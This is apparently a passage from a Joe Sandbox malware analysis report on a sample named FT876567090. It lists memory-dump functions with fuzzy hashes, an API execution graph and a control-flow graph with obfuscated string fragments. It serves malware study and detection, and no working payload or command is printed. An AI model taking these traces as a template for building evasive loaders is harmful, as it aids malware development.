                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188889789.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70e0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: d3a1676ef261e15c744767e25ec6721df9366ce54fc849efdb20b2bcd6b688f4
                                                                                                                                                              • Instruction ID: 1042551df50ec34e161ea0b7a5b7f32a62e3cf135adca66abccf7d05dd7f335f
                                                                                                                                                              • Opcode Fuzzy Hash: d3a1676ef261e15c744767e25ec6721df9366ce54fc849efdb20b2bcd6b688f4
                                                                                                                                                              • Instruction Fuzzy Hash: 78814FB4D142598FDB14CFA9C5809AEFBF6BF89305F24C199D418A7316D730A942CF61
                                                                                                                                                              Function 070E5108 Relevance: .2, Instructions: 173COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188889789.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70e0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: b45372ef71548561fee39d7bf60d6f60d2ce707eb41869d94c11d76da34e282a
                                                                                                                                                              • Instruction ID: 281bb6d49a5ab7d41fbb3a9b3efd974ed08e0538455b220ae02ac14b88e03391
                                                                                                                                                              • Opcode Fuzzy Hash: b45372ef71548561fee39d7bf60d6f60d2ce707eb41869d94c11d76da34e282a
                                                                                                                                                              • Instruction Fuzzy Hash: 507128B4E15209CFCB04CFA9C9805DEFBF6FF8A210F24956AD415B7364E3349A418B64
                                                                                                                                                              Function 070E5118 Relevance: .2, Instructions: 173COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188889789.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70e0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 35705e8685c62eaa40d3b01586fde61832f778476ba60cd286a049d084a24470
                                                                                                                                                              • Instruction ID: a6fb3286919f5306964d4bd1145ff95928542b7439645a8eb2156090b9c880de
                                                                                                                                                              • Opcode Fuzzy Hash: 35705e8685c62eaa40d3b01586fde61832f778476ba60cd286a049d084a24470
                                                                                                                                                              • Instruction Fuzzy Hash: 847127B4E15209CFCB04CFA9C9805DEFBF6FF89214F24996AD415BB324E3349A418B64
                                                                                                                                                              Function 070D3228 Relevance: .1, Instructions: 135COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188421808.00000000070D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070D0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70d0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: bcc9fa74952d5764e9e799c7532ffaf6291e9b1f18eba81ed951f1cbdf5210ff
                                                                                                                                                              • Instruction ID: 177356e945dee3f37f28997a112c8fa5280abc7ac83cd3f939e60bc470658a6a
                                                                                                                                                              • Opcode Fuzzy Hash: bcc9fa74952d5764e9e799c7532ffaf6291e9b1f18eba81ed951f1cbdf5210ff
                                                                                                                                                              • Instruction Fuzzy Hash: C651F7B0E04219CBDB14DFAAC5805AEFBF2BF89305F248169D418AB355D7709942CFA1
                                                                                                                                                              Function 070E5398 Relevance: .1, Instructions: 110COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188889789.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70e0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 6d91138de7734a1ce22e7cc272d033aad759728b86b5b46aa8f0fc24e249b03e
                                                                                                                                                              • Instruction ID: e0ecb82b2153bf1aa2fb1cb3a664fe444cc449a83333abef48e4417275d4f34b
                                                                                                                                                              • Opcode Fuzzy Hash: 6d91138de7734a1ce22e7cc272d033aad759728b86b5b46aa8f0fc24e249b03e
                                                                                                                                                              • Instruction Fuzzy Hash: BF4149B1E0521ADFCB04CFA9C8815EEFBF6EF88304F24C56AC514A7214E7709A518FA5
                                                                                                                                                              Function 070E8348 Relevance: .1, Instructions: 109COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188889789.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70e0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: a39a823d0647d274112577a10536c172f4c5a298bb1314948049f162c8c92905
                                                                                                                                                              • Instruction ID: f988ff3a49b120965e079331da235d74be5487e1cacf4ee344636a5747f93548
                                                                                                                                                              • Opcode Fuzzy Hash: a39a823d0647d274112577a10536c172f4c5a298bb1314948049f162c8c92905
                                                                                                                                                              • Instruction Fuzzy Hash: 6E418CB0E0520ADFDB04CFA5C5416AEFBF6EF89200F20D56AC115B72A4D3788A41CB91
                                                                                                                                                              Function 070E53A8 Relevance: .1, Instructions: 108COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188889789.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70e0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 73d65df9de5b4a5cf8eec5a827e87ac2115bff125f8e596fcc64a87c55f5a8a1
                                                                                                                                                              • Instruction ID: df2a14550e183290b7e12980da3931d03acd95e60d35844cd150dc88cf729c5b
                                                                                                                                                              • Opcode Fuzzy Hash: 73d65df9de5b4a5cf8eec5a827e87ac2115bff125f8e596fcc64a87c55f5a8a1
                                                                                                                                                              • Instruction Fuzzy Hash: 4B4118B0E0521ADFCB44CFA9C9815EEFBF6FF88204F20C56AC515B7214D7749A518BA4
                                                                                                                                                              Function 070E4F02 Relevance: .1, Instructions: 107COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188889789.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70e0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: e9197da24107d6cf0fa84b340bbe390a064b44d832b8f68cd8e20087e172cb57
                                                                                                                                                              • Instruction ID: 1b83a2c34dc1600615330f1d61be92ea0135e24ba74bc5a367743b458096e862
                                                                                                                                                              • Opcode Fuzzy Hash: e9197da24107d6cf0fa84b340bbe390a064b44d832b8f68cd8e20087e172cb57
                                                                                                                                                              • Instruction Fuzzy Hash: 99411BB0E0424ADFDB48CFAAC8815AEFBF6EF89600F14C56AE415E7254D3349A418F94
                                                                                                                                                              Function 070E8358 Relevance: .1, Instructions: 106COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188889789.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70e0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 7fb8bc10a9fd648df17a38bfe30447a308e23a95817e6223bf03c1b8d65b83eb
                                                                                                                                                              • Instruction ID: a8d09f404c0e088fd74809c61835f107f987358917c6f37b37ff670704c86bc1
                                                                                                                                                              • Opcode Fuzzy Hash: 7fb8bc10a9fd648df17a38bfe30447a308e23a95817e6223bf03c1b8d65b83eb
                                                                                                                                                              • Instruction Fuzzy Hash: C4415CB0E1520ADFCB44CFA6C5416AEFBF6EF89300F20E56AC114B72A4E37497418B94
                                                                                                                                                              Function 070E4F10 Relevance: .1, Instructions: 101COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188889789.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70e0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 32cfb0a5cf1b101463388ec6bf3fb8c2e9945d185616da64c3e0439f284f76a7
                                                                                                                                                              • Instruction ID: 081e2c8e7774a98d600db3da8af0433cc09554faa0377a8cc2f33321b210d7f6
                                                                                                                                                              • Opcode Fuzzy Hash: 32cfb0a5cf1b101463388ec6bf3fb8c2e9945d185616da64c3e0439f284f76a7
                                                                                                                                                              • Instruction Fuzzy Hash: D341E5B0E0420ADFCB48CFAAD4815AEFBF6AF89600F14C56AE415B7254E3349A418F95
                                                                                                                                                              Function 05534711 Relevance: .1, Instructions: 94COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2186142415.0000000005530000.00000040.00000800.00020000.00000000.sdmp, Offset: 05530000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_5530000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 7a8d2eae8ef2b8a8cfd972846cb72cd8d406fa47e3606d1d5b61e2b050e900dc
                                                                                                                                                              • Instruction ID: 62c9dbded129a8a234a02f650e34ae4cab62608f7a31ed17ff52fe71ebef007d
                                                                                                                                                              • Opcode Fuzzy Hash: 7a8d2eae8ef2b8a8cfd972846cb72cd8d406fa47e3606d1d5b61e2b050e900dc
                                                                                                                                                              • Instruction Fuzzy Hash: 7541B6B1D01658CBEB18CFA6C8456EEFBB2BF89310F14C56AC518AB255D7740A46CF90
                                                                                                                                                              Function 070E0006 Relevance: .1, Instructions: 84COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188889789.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70e0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 408dc88c0ecba929b6289d68cb74f37791a4caecc2349a9f755752f209500c4c
                                                                                                                                                              • Instruction ID: 604048e86c1d9f4e482a32fd1cdb81d947291d6ef194b501fca5ef0b055f23b1
                                                                                                                                                              • Opcode Fuzzy Hash: 408dc88c0ecba929b6289d68cb74f37791a4caecc2349a9f755752f209500c4c
                                                                                                                                                              • Instruction Fuzzy Hash: B5313C71D057948FE74ACF6B9C0069ABFF7AFCA210F18C0ABC848AB165D7340A458F61
                                                                                                                                                              Function 070E0040 Relevance: .1, Instructions: 59COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188889789.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70e0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 04ee74812460e0ba9f14bc65cb7a7477460d20f04f99e1dfb0e65f5303e0932a
                                                                                                                                                              • Instruction ID: ce731cdf09d47ce592b984d8dab40d72db51ca90d365cf6c005bde612286ae98
                                                                                                                                                              • Opcode Fuzzy Hash: 04ee74812460e0ba9f14bc65cb7a7477460d20f04f99e1dfb0e65f5303e0932a
                                                                                                                                                              • Instruction Fuzzy Hash: B111C1B1E006189BEB58CFABD84069EFBF7AFC8200F14C176C51CB6254EB7405568F55

                                                                                                                                                              Execution Graph

                                                                                                                                                              Execution Coverage:7.9%
                                                                                                                                                              Dynamic/Decrypted Code Coverage:60.1%
                                                                                                                                                              Signature Coverage:7.7%
                                                                                                                                                              Total number of Nodes:233
                                                                                                                                                              Total number of Limit Nodes:29
                                                                                                                                                              execution_graph 40590 101d044 40591 101d05c 40590->40591 40592 101d0b6 40591->40592 40597 6d86ea8 40591->40597 40601 6d85ae4 40591->40601 40610 6d86ea1 40591->40610 40614 6d87bf9 40591->40614 40598 6d86ece 40597->40598 40599 6d85ae4 CallWindowProcW 40598->40599 40600 6d86eef 40599->40600 40600->40592 40602 6d85aef 40601->40602 40603 6d87c69 40602->40603 40605 6d87c59 40602->40605 40639 6d85c0c 40603->40639 40623 6d87d90 40605->40623 40628 6d87e5c 40605->40628 40634 6d87d80 40605->40634 40606 6d87c67 40611 6d86ea8 40610->40611 40612 6d85ae4 CallWindowProcW 40611->40612 40613 6d86eef 40612->40613 40613->40592 40615 6d87c02 40614->40615 40616 6d87c69 40615->40616 40617 6d87c59 40615->40617 40618 6d85c0c CallWindowProcW 40616->40618 40620 6d87e5c CallWindowProcW 40617->40620 40621 6d87d90 CallWindowProcW 40617->40621 40622 6d87d80 CallWindowProcW 40617->40622 40619 6d87c67 40618->40619 40620->40619 40621->40619 40622->40619 40625 6d87da4 40623->40625 40624 6d87e30 40624->40606 40643 6d87e48 40625->40643 40646 6d87e38 40625->40646 40629 6d87e1a 40628->40629 40630 6d87e6a 40628->40630 40632 6d87e48 CallWindowProcW 40629->40632 40633 6d87e38 CallWindowProcW 40629->40633 40631 6d87e30 40631->40606 40632->40631 40633->40631 40635 6d87d7f 40634->40635 40635->40634 40637 6d87e48 CallWindowProcW 40635->40637 40638 6d87e38 CallWindowProcW 40635->40638 40636 6d87e30 40636->40606 40637->40636 40638->40636 40640 6d85c17 40639->40640 40641 6d8934a CallWindowProcW 40640->40641 40642 6d892f9 40640->40642 40641->40642 40642->40606 40644 6d87e59 40643->40644 40650 6d89283 40643->40650 40644->40624 40647 6d87e48 40646->40647 40648 6d87e59 40647->40648 40649 6d89283 CallWindowProcW 40647->40649 40648->40624 40649->40648 40651 6d8928a 40650->40651 40652 6d892ed 40650->40652 40653 6d8926e 40651->40653 40654 6d85c0c CallWindowProcW 40651->40654 40652->40644 40653->40644 40655 6d8929a 40654->40655 40655->40644 40663 6d84440 40665 6d84571 40663->40665 40666 6d84471 40663->40666 40664 6d8447d 40666->40664 40671 6d846b8 40666->40671 40675 6d846a8 40666->40675 40667 6d844bd 40680 6d85dc0 40667->40680 40690 6d846f8 40671->40690 40700 6d84708 40671->40700 40672 6d846c2 40672->40667 40676 6d846b8 40675->40676 40678 6d846f8 2 API calls 40676->40678 40679 6d84708 2 API calls 40676->40679 40677 6d846c2 40677->40667 40678->40677 40679->40677 40681 6d85deb 40680->40681 40721 6d86310 40681->40721 40726 6d86320 40681->40726 40682 6d85e6e 40683 6d83680 GetModuleHandleW 40682->40683 40685 6d85e9a 40682->40685 40684 6d85ede 40683->40684 40686 6d86c90 CreateWindowExW 40684->40686 40687 6d86ca0 CreateWindowExW 40684->40687 40686->40685 40687->40685 40691 6d84709 40690->40691 40694 6d8473c 40691->40694 40710 6d83680 40691->40710 40694->40672 40695 6d84734 40695->40694 40696 6d84940 GetModuleHandleW 40695->40696 40697 6d8496d 40696->40697 40697->40672 40701 6d84719 40700->40701 40704 6d8473c 40700->40704 40702 6d83680 GetModuleHandleW 40701->40702 40703 6d84724 40702->40703 40703->40704 40708 6d849a0 GetModuleHandleW 40703->40708 40709 6d84991 GetModuleHandleW 40703->40709 40704->40672 40705 6d84734 40705->40704 40706 6d84940 GetModuleHandleW 40705->40706 40707 6d8496d 40706->40707 40707->40672 40708->40705 40709->40705 40711 6d848f8 GetModuleHandleW 40710->40711 40713 6d84724 40711->40713 40713->40694 40714 6d84991 40713->40714 40718 6d849a0 40713->40718 40715 6d8499d 40714->40715 40716 6d83680 GetModuleHandleW 40715->40716 40717 6d849b4 40716->40717 40717->40695 40719 6d83680 GetModuleHandleW 40718->40719 40720 6d849b4 40719->40720 40720->40695 40722 6d8634d 40721->40722 40723 6d863ce 40722->40723 40731 6d86490 40722->40731 40741 6d86481 40722->40741 40727 6d8634d 40726->40727 40728 6d863ce 40727->40728 40729 6d86490 GetModuleHandleW 40727->40729 40730 6d86481 GetModuleHandleW 40727->40730 40729->40728 40730->40728 40732 6d864a5 40731->40732 40733 6d83680 GetModuleHandleW 40732->40733 40734 6d864c9 40732->40734 40733->40734 40735 6d83680 GetModuleHandleW 40734->40735 40736 6d86685 40734->40736 40737 6d8660b 40735->40737 40736->40723 40737->40736 40738 6d83680 GetModuleHandleW 40737->40738 40739 6d86659 40738->40739 40739->40736 40740 6d83680 GetModuleHandleW 40739->40740 40740->40736 40742 6d86490 40741->40742 40743 6d83680 GetModuleHandleW 40742->40743 40744 6d864c9 40742->40744 40743->40744 40745 6d83680 GetModuleHandleW 40744->40745 40750 6d86685 40744->40750 40746 6d8660b 40745->40746 40747 6d83680 GetModuleHandleW 40746->40747 40746->40750 40748 6d86659 40747->40748 40749 6d83680 GetModuleHandleW 40748->40749 40748->40750 40749->40750 40750->40723 40751 5b09c48 40752 5b09c4f 40751->40752 40754 5b09c55 40751->40754 40752->40754 40755 5b09fd9 40752->40755 40757 5b09358 LdrInitializeThunk 40752->40757 40755->40754 40758 5b09358 LdrInitializeThunk 40755->40758 40757->40755 40758->40755 40759 40cbdd 40760 40cbe9 _doexit 40759->40760 40793 40d534 HeapCreate 40760->40793 40763 40cc46 40795 41087e RtlAllocateHeap 6 library calls 40763->40795 40766 40cc4c 40767 40cc57 __RTC_Initialize 40766->40767 40828 40cbb4 RtlAllocateHeap __FF_MSGBANNER _doexit __NMSG_WRITE 40766->40828 40796 411a15 RtlAllocateHeap __calloc_crt _doexit __ioinit 40767->40796 40770 40cc66 40771 40cc71 40770->40771 40829 40e79a RtlAllocateHeap __FF_MSGBANNER __decode_pointer __NMSG_WRITE 40770->40829 40797 412892 RtlAllocateHeap __fclose_nolock __malloc_crt 40771->40797 40774 40cc82 40798 4127d7 RtlAllocateHeap ___initmbctable _parse_cmdline __malloc_crt 40774->40798 40776 40cc8c 40777 40cc97 40776->40777 40830 40e79a RtlAllocateHeap __FF_MSGBANNER __decode_pointer __NMSG_WRITE 40776->40830 40799 41255f RtlAllocateHeap 6 library calls 40777->40799 40780 40cc9d 40781 40cca8 40780->40781 40831 40e79a RtlAllocateHeap __FF_MSGBANNER __decode_pointer __NMSG_WRITE 40780->40831 40800 40e859 RtlAllocateHeap __initterm_e __cinit __initp_misc_cfltcvt_tab __IsNonwritableInCurrentImage __initterm 40781->40800 40784 40ccb0 40785 40ccbb 40784->40785 40832 40e79a RtlAllocateHeap __FF_MSGBANNER __decode_pointer __NMSG_WRITE 40784->40832 40801 4019f0 OleInitialize 40785->40801 40789 40ccea 40834 40ea36 RtlAllocateHeap _doexit 40789->40834 40792 40ccef _doexit 40794 40cc3a 40793->40794 40794->40763 40827 40cbb4 RtlAllocateHeap __FF_MSGBANNER _doexit __NMSG_WRITE 40794->40827 40795->40766 40796->40770 40797->40774 40798->40776 40799->40780 40800->40784 40802 401ab9 40801->40802 40835 40b99e 40802->40835 40804 401dc3 CloseHandle 40805 401dd1 40804->40805 40844 40b84d 40805->40844 40807 401ebf 40848 40af66 40807->40848 40809 401abf 40809->40804 40817 401c9c 40809->40817 40810 401ecb _memset 40811 40b84d _malloc RtlAllocateHeap 40810->40811 40812 401fbb _memset 40811->40812 40813 4020aa LoadLibraryA 40812->40813 40814 40216c 40813->40814 40814->40817 40857 4018f0 40814->40857 40817->40789 40833 40ea0a RtlAllocateHeap _doexit 40817->40833 40818 4021f1 40826 40243f 40818->40826 40864 401870 40818->40864 40820 402269 40821 401870 2 API calls 40820->40821 40822 40228b 40821->40822 40869 4019a0 RtlAllocateHeap ctype 40822->40869 40824 40241c 40870 4019a0 RtlAllocateHeap ctype 40824->40870 40826->40817 40871 40b6b5 RtlAllocateHeap _doexit __set_error_mode 40826->40871 40827->40763 40828->40767 40829->40771 40830->40777 40831->40781 40832->40785 40833->40789 40834->40792 40838 40b9aa _doexit _strnlen 40835->40838 40836 40b9b8 40872 40bfc1 RtlAllocateHeap __getptd_noexit 40836->40872 40838->40836 40839 40b9ec 40838->40839 40873 40d6e0 RtlAllocateHeap __mtinitlocknum __amsg_exit 40839->40873 40841 40b9f3 40874 40b917 RtlAllocateHeap __fassign ___wtomb_environ _strlen 40841->40874 40843 40b9bd _getenv _doexit __set_error_mode 40843->40809 40846 40b85f __FF_MSGBANNER _doexit _malloc __calloc_impl __NMSG_WRITE 40844->40846 40847 40b8ec __set_error_mode __calloc_impl 40844->40847 40845 40b8bc RtlAllocateHeap 40845->40846 40846->40845 40846->40847 40847->40807 40850 40af70 __calloc_impl 40848->40850 40849 40b84d _malloc RtlAllocateHeap 40849->40850 40850->40849 40851 40af8a 40850->40851 40854 40af8c std::bad_alloc::bad_alloc 40850->40854 40851->40810 40852 40afb2 40876 40af49 RtlAllocateHeap std::exception::exception 40852->40876 40854->40852 40875 40d2bd RtlAllocateHeap __cinit 40854->40875 40855 40afbc __CxxThrowException@8 40858 401903 40857->40858 40859 4018fc 40857->40859 40877 4017e0 40858->40877 40859->40818 40862 4017e0 RtlAllocateHeap 40863 401970 40862->40863 40863->40818 40865 40af66 RtlAllocateHeap 40864->40865 40866 40187c 40865->40866 40867 401885 SysAllocString 40866->40867 40868 4018a4 40866->40868 40867->40868 40868->40820 40869->40824 40870->40826 40871->40817 40872->40843 40873->40841 40874->40843 40875->40852 40876->40855 40878 4017e9 40877->40878 40883 401844 40878->40883 40884 40182d 40878->40884 40885 40b783 RtlAllocateHeap _memset __set_error_mode _realloc __msize 40878->40885 40882 40186d 40882->40862 40882->40863 40883->40882 40887 40b743 RtlAllocateHeap __set_error_mode __calloc_impl 40883->40887 40884->40883 40886 40b6b5 RtlAllocateHeap _doexit __set_error_mode 40884->40886 40885->40884 40886->40883 40887->40883 40656 5b0995f 40657 5b09816 40656->40657 40658 5b09957 LdrInitializeThunk 40657->40658 40662 5b09358 LdrInitializeThunk 40657->40662 40660 5b09ab4 40658->40660 40662->40657

                                                                                                                                                              Executed Functions

                                                                                                                                                              Function 004019F0 Relevance: 98.7, APIs: 9, Strings: 47, Instructions: 747comCOMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 0 4019f0-401ac7 OleInitialize call 401650 call 40b99e 5 40248a-402496 0->5 6 401acd-401c4f call 40ad88 call 40ad82 0->6 12 401dc3-401ed4 CloseHandle call 401650 call 40b84d call 40af66 6->12 13 401c55-401c6c call 401650 6->13 51 401ed6-401eed call 40ba30 12->51 52 401eef 12->52 17 401c73-401c77 13->17 19 401c93-401c95 17->19 20 401c79-401c7b 17->20 24 401c98-401c9a 19->24 22 401c7d-401c83 20->22 23 401c8f-401c91 20->23 22->19 25 401c85-401c8d 22->25 23->24 27 401cb0-401cce call 401650 24->27 28 401c9c-401caf 24->28 25->17 25->23 33 401cd0-401cd4 27->33 34 401cf0-401cf2 33->34 35 401cd6-401cd8 33->35 39 401cf5-401cf7 34->39 37 401cda-401ce0 35->37 38 401cec-401cee 35->38 37->34 41 401ce2-401cea 37->41 38->39 39->28 42 401cf9-401d09 call 40ad7c 39->42 41->33 41->38 42->12 48 401d0f 42->48 50 401d10-401d2e call 401650 48->50 57 401d30-401d34 50->57 56 401ef3-401f1a call 401300 51->56 52->56 70 401f1c-401f2f 56->70 71 401f5f-401f69 56->71 60 401d50-401d52 57->60 61 401d36-401d38 57->61 65 401d55-401d57 60->65 63 401d3a-401d40 61->63 64 401d4c-401d4e 61->64 63->60 66 401d42-401d4a 63->66 64->65 65->28 67 401d5d-401d7b call 401650 65->67 66->57 66->64 79 401d80-401d84 67->79 72 401f33-401f5d call 401560 70->72 73 401f73-401f75 71->73 74 401f6b-401f72 71->74 72->71 77 401f92-4021a4 call 40ba30 call 40b84d call 40ac60 call 40ba30 call 401650 LoadLibraryA call 401650 73->77 78 401f77-401f8d call 401560 73->78 74->73 77->5 106 4021aa-4021c0 77->106 78->77 83 401da0-401da2 79->83 84 401d86-401d88 79->84 85 401da5-401da7 83->85 87 401d8a-401d90 84->87 88 401d9c-401d9e 84->88 85->28 89 401dad-401dbd call 40ad7c 85->89 87->83 90 401d92-401d9a 87->90 88->85 89->12 89->50 90->79 90->88 108 4021c6-4021ca 106->108 109 40246a-402470 106->109 108->109 112 4021d0-402217 call 4018f0 108->112 110 402472-402475 109->110 111 40247a-402480 109->111 110->111 111->5 114 402482-402487 111->114 117 40221d-40223d 112->117 118 40244f-40245f 112->118 114->5 117->118 123 402243-402251 117->123 118->109 119 402461-402467 call 40b6b5 118->119 119->109 123->118 125 402257-4022b7 call 401870 * 2 call 4018d0 123->125 135 4022c3-40232a call 4018d0 call 40b350 125->135 136 4022b9-4022be call 40ad90 125->136 146 402336-40234d call 4018d0 135->146 147 40232c-402331 call 40ad90 135->147 136->135 182 40234e call 100d01c 146->182 183 40234e call 100d01d 146->183 147->146 151 402350-402352 152 402354 151->152 153 40235b-402361 151->153 152->153 154 402363-402368 call 40ad90 153->154 155 40236d-402375 153->155 154->155 157 402377-402379 155->157 158 40237b 155->158 159 40237d-40238f call 4018d0 157->159 158->159 180 402390 call 100d01c 159->180 181 402390 call 100d01d 159->181 162 402392-4023a2 164 4023a4-4023a9 call 40ad90 162->164 165 4023ae-4023b4 162->165 164->165 167 4023b6-4023b8 165->167 168 4023ba 165->168 169 4023bc-4023fe 167->169 168->169 184 402401 call 100d01c 169->184 185 402401 call 100d01d 169->185 170 402403-40242c call 4019a0 175 402436-402445 call 4019a0 170->175 176 40242e-402433 170->176 175->118 179 402447-40244c 175->179 176->175 179->118 180->162 181->162 182->151 183->151 184->170 185->170
                                                                                                                                                              APIs
                                                                                                                                                              Strings
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3386681067.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_401000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: CloseHandleInitialize_getenv_malloc_memset
                                                                                                                                                              • String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$h$o$o$o$v$v$v$v$x$x$x$x${${${${
                                                                                                                                                              • API String ID: 2812500916-3543104150
                                                                                                                                                              • Opcode ID: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
                                                                                                                                                              • Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
                                                                                                                                                              • Opcode Fuzzy Hash: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
                                                                                                                                                              • Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B
                                                                                                                                                              Function 05B09578 Relevance: 1.9, APIs: 1, Instructions: 359COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
